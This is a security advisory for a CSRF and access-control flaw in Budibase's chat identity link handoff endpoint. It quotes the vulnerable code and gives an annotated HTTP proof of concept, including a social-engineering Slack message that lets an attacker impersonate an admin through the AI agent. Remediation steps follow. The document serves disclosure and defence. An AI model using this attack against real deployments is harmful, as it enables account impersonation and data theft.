PT-2026-51452 · Npm · @Budibase/Server

Published 2026-06-22 · Updated 2026-06-22 · CVE-2026-50132

OSV

CVSS v3.1

7.3

High

Base vector

AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Title

Chat Identity Link Hijacking — Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account

Severity

High — CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = 7.3

Affected Product

• Product: Budibase
• Version: 3.37.2 (introduced in this version)
• Component: packages/server/src/api/controllers/ai/chatIdentityLinks.ts
• Endpoint: GET /api/chat-links/:instance/:token/handoff

Vulnerability Type

• CWE-352: Cross-Site Request Forgery
• CWE-284: Improper Access Control

---

Vulnerability Description

GET /api/chat-links/:instance/:token/handoff is a public endpoint (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with no consent UI and no CSRF protection.

The session token in the URL is created by the attacker (from their own /link slash command) and embeds the attacker's externalUserId. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with "Authentication succeeded." — no indication of what was linked.

Route Registration

// packages/server/src/api/routes/chat.ts:22
router.get(
 "/api/chat-links/:instance/:token/handoff",
 controller.handoffChatLinkSession  // registered in publicRoutes — zero auth middleware
)

Vulnerable Controller (full function)

// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110
export async function handoffChatLinkSession(
 ctx: UserCtx<void, string, { instance: string; token: string }>
) {
 const token = resolveToken(ctx.params.token)
 const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)
 if (!session) {
  throw new HTTPError("Link token is invalid or has expired", 400)
 }
 assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })

 if (!ctx.isAuthenticated) {
  // Unauthenticated: set return URL cookie, redirect to login
  // After login, same URL is visited again → attack completes silently
  utils.setCookie(ctx,
   `/api/chat-links/${ctx.params.instance}/${token}/handoff`,
   "budibase:returnurl",
   { sign: false } // ← unsigned cookie, but not an open redirect
  )
  ctx.redirect("/builder/auth/login")
  return
 }

 const currentGlobalUserId = getCurrentGlobalUserId(ctx)
 const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)

 // ↓↓↓ THE VULNERABLE WRITE — no consent check, no CSRF token ↓↓↓
 await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({
  provider: consumedSession.provider,
  externalUserId: consumedSession.externalUserId, // ← ATTACKER's Slack ID
  externalUserName: consumedSession.externalUserName,
  teamId: consumedSession.teamId,
  globalUserId: currentGlobalUserId,  // ← VICTIM's Budibase user ID
  linkedBy: currentGlobalUserId,
 })

 ctx.type = "text/html"
 ctx.body = renderLinkSuccessPage() // ← "Authentication succeeded." — no disclosure to user
}

---

Proof of Concept — Annotated HTTP Trace

Setup

Role	Identity
Attacker	Slack user U ATTACKER (e.g. UA12345678), Budibase tenant acme, workspace ID ws abc123
Victim	Budibase admin, session cookie budibase:session=VICTIM SESSION

---

Step 1 — Attacker triggers /link in Slack

Attacker types /link to the Budibase Slack bot. Budibase server creates a Redis session:

Redis key: chatIdentityLinkSession:tok xxxxxxxxxxxxxxxx

Redis value (exact structure from ChatIdentityLinkSession interface):

{
 "token": "tok xxxxxxxxxxxxxxxx",
 "tenantId": "acme",
 "workspaceId": "ws abc123",
 "provider": "slack",
 "externalUserId": "UA12345678",
 "externalUserName": "attacker",
 "teamId": "T ACME SLACK",
 "createdAt": "2026-05-02T10:00:00.000Z",
 "expiresAt": "2026-05-02T10:10:00.000Z"
}

Slack DM sent privately to attacker:

Link your Slack account to continue chatting with this agent.
https://budibase.company.com/api/chat-links/ws abc123/tok xxxxxxxxxxxxxxxx/handoff

Key observation: This URL embeds the attacker's own externalUserId inside the token. The attacker has full control over which identity gets linked.

---

Step 2 — Attacker forwards URL to victim

Attacker posts in the company Slack:

@admin please click this to connect your Budibase account for AI agent access:
https://budibase.company.com/api/chat-links/ws abc123/tok xxxxxxxxxxxxxxxx/handoff

---

Step 3 — Victim clicks link (authenticated)

HTTP Request (victim's browser):

GET /api/chat-links/ws abc123/tok xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com
Cookie: budibase:session=VICTIM SESSION

HTTP Response:

HTTP/1.1 200 OK
Content-Type: text/html

<!doctype html>
<html lang="en">
 <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Authentication succeeded</title>
 </head>
 <body>
  <p>Authentication succeeded.</p>
  <script>
   if (window.opener && !window.opener.closed) {
    try { window.opener.focus(); window.close() } catch (error) {}
   }
  </script>
 </body>
</html>

The victim sees "Authentication succeeded." with no mention of Slack, no mention of attacker, no mention of what capabilities were granted.

CouchDB global-db document written immediately after (exact structure from upsertChatIdentityLink):

{
 " id": "chatidentitylink acme slack T ACME SLACK UA12345678",
 "tenantId": "acme",
 "provider": "slack",
 "externalUserId": "UA12345678",
 "globalUserId": "ro global us VICTIM ADMIN ID",
 "linkedAt": "2026-05-02T10:00:42.000Z",
 "linkedBy": "ro global us VICTIM ADMIN ID",
 "externalUserName": "attacker",
 "teamId": "T ACME SLACK",
 "createdAt": "2026-05-02T10:00:42.000Z",
 "updatedAt": "2026-05-02T10:00:42.000Z"
}

The mapping is now permanent. externalUserId = UA12345678 (attacker) → globalUserId = ro global us VICTIM ADMIN ID (victim).

---

Step 4 — Attacker impersonates victim via AI agent

Attacker sends any message to the Budibase Slack bot from their own account (UA12345678).

The chat handler resolves the identity:

// packages/server/src/api/controllers/webhook/chatHandler.ts:421
const existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({
 provider: AgentChannelProvider.SLACK,
 externalUserId: "UA12345678",   // ← attacker's Slack ID
 teamId: "T ACME SLACK",
})
// existingLink.globalUserId = "ro global us VICTIM ADMIN ID"

const linkedUser = await getGlobalUser("ro global us VICTIM ADMIN ID")
// All agent tool calls now execute with victim admin's permissions

The attacker can now ask the agent:

"Show me all rows in the Customers table" "Trigger the 'Send Invoice' automation for customer ID 42" "What files are in the knowledge base?"

Each request runs with the victim admin's identity and permissions. The victim has no indication this is happening.

---

Step 3b — Variant: Victim Not Yet Authenticated

If the victim is not currently logged in when they click the URL:

HTTP Request:

GET /api/chat-links/ws abc123/tok xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com

HTTP Response:

HTTP/1.1 302 Found
Location: /builder/auth/login
Set-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws abc123%2Ftok xxxxxxxxxxxxxxxx%2Fhandoff; Path=/

After the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.

---

Impact

Dimension	Detail
Confidentiality	High — attacker reads all table rows, files, and knowledge base data accessible to victim
Integrity	High — attacker writes rows and triggers automations (email, external API calls, record creation) as victim
Availability	None
Auth required	Low — attacker only needs a Slack/Discord account in the same workspace as the Budibase bot
User interaction	Required — victim clicks one link (trivial social engineering in any enterprise Slack)
Scope	Unchanged — impact is within the victim's Budibase tenant
Persistence	Permanent — the link document persists in CouchDB until explicitly deleted; re-exploitation survives token rotation

---

Why Severity Is High (Not Medium)

The social engineering bar is near zero in enterprise Slack:

• The link looks like a legitimate Budibase URL on the company domain
• The message pattern ("link your account for AI agent access") matches the product's own UX
• A victim who clicks and sees "Authentication succeeded." has no reason to be suspicious
• The effect is permanent and silent — the victim never learns their account was linked

Combined with admin-level access to all application data and automation triggers, this meets the bar for High.

---

Remediation

Minimum Fix — Add Consent Page

Convert the handoff to a two-step flow:

GET /api/chat-links/:instance/:token/handoff
 → Show consent page: "You are linking your Budibase account to
  [externalUserName]'s Slack identity ([provider]).
  This allows them to interact with AI agents as you. [Confirm] [Cancel]"

POST /api/chat-links/:instance/:token/handoff (with CSRF token)
 → Perform the upsertChatIdentityLink() write

Moving the write to POST removes it from publicRoutes, making Budibase's existing CSRF middleware apply automatically.

Additional Hardening

• Show the externalUserName and provider on the consent page
• Log the event to the audit trail (both identities, timestamp, IP)
• Optionally restrict linking to users with explicit permission (not all roles)

---

Credits, Vishal Kumar B https://github.com/VishaaLlKumaaRr

References

• packages/server/src/api/routes/chat.ts:22 — public route registration
• packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110 — full vulnerable controller
• packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135–165 — session creation (embeds attacker's externalUserId)
• packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202–247 — upsertChatIdentityLink (permanent write)
• packages/server/src/api/controllers/webhook/chatHandler.ts:421 — identity resolution during agent message handling
• packages/server/src/ai/tools/budibase/automations.ts — automation trigger capability
• packages/server/src/ai/tools/budibase/rows.ts — row read/write capability
• packages/types/src/sdk/chatIdentityLinks.ts — session + link type definitions
• CWE-352: Cross-Site Request Forgery
• CWE-284: Improper Access Control

Fix

Improper Access Control

CSRF

Weakness Enumeration

CWE-284

CWE-352

Related Identifiers

CVE-2026-50132

GHSA-V7J5-VC4M-723W

Affected Products

@Budibase/Server

References · 5

• https://osv.dev/vulnerability/GHSA-v7j5-vc4m-723w · Vendor Advisory
• https://github.com/Budibase/budibase · Note
• https://github.com/Budibase/budibase/commit/cf66fb45d27402bace312d85616ddd4257f3a5aa · Note
• https://github.com/Budibase/budibase/pull/18793 · Note
• https://github.com/Budibase/budibase/security/advisories/GHSA-v7j5-vc4m-723w · Note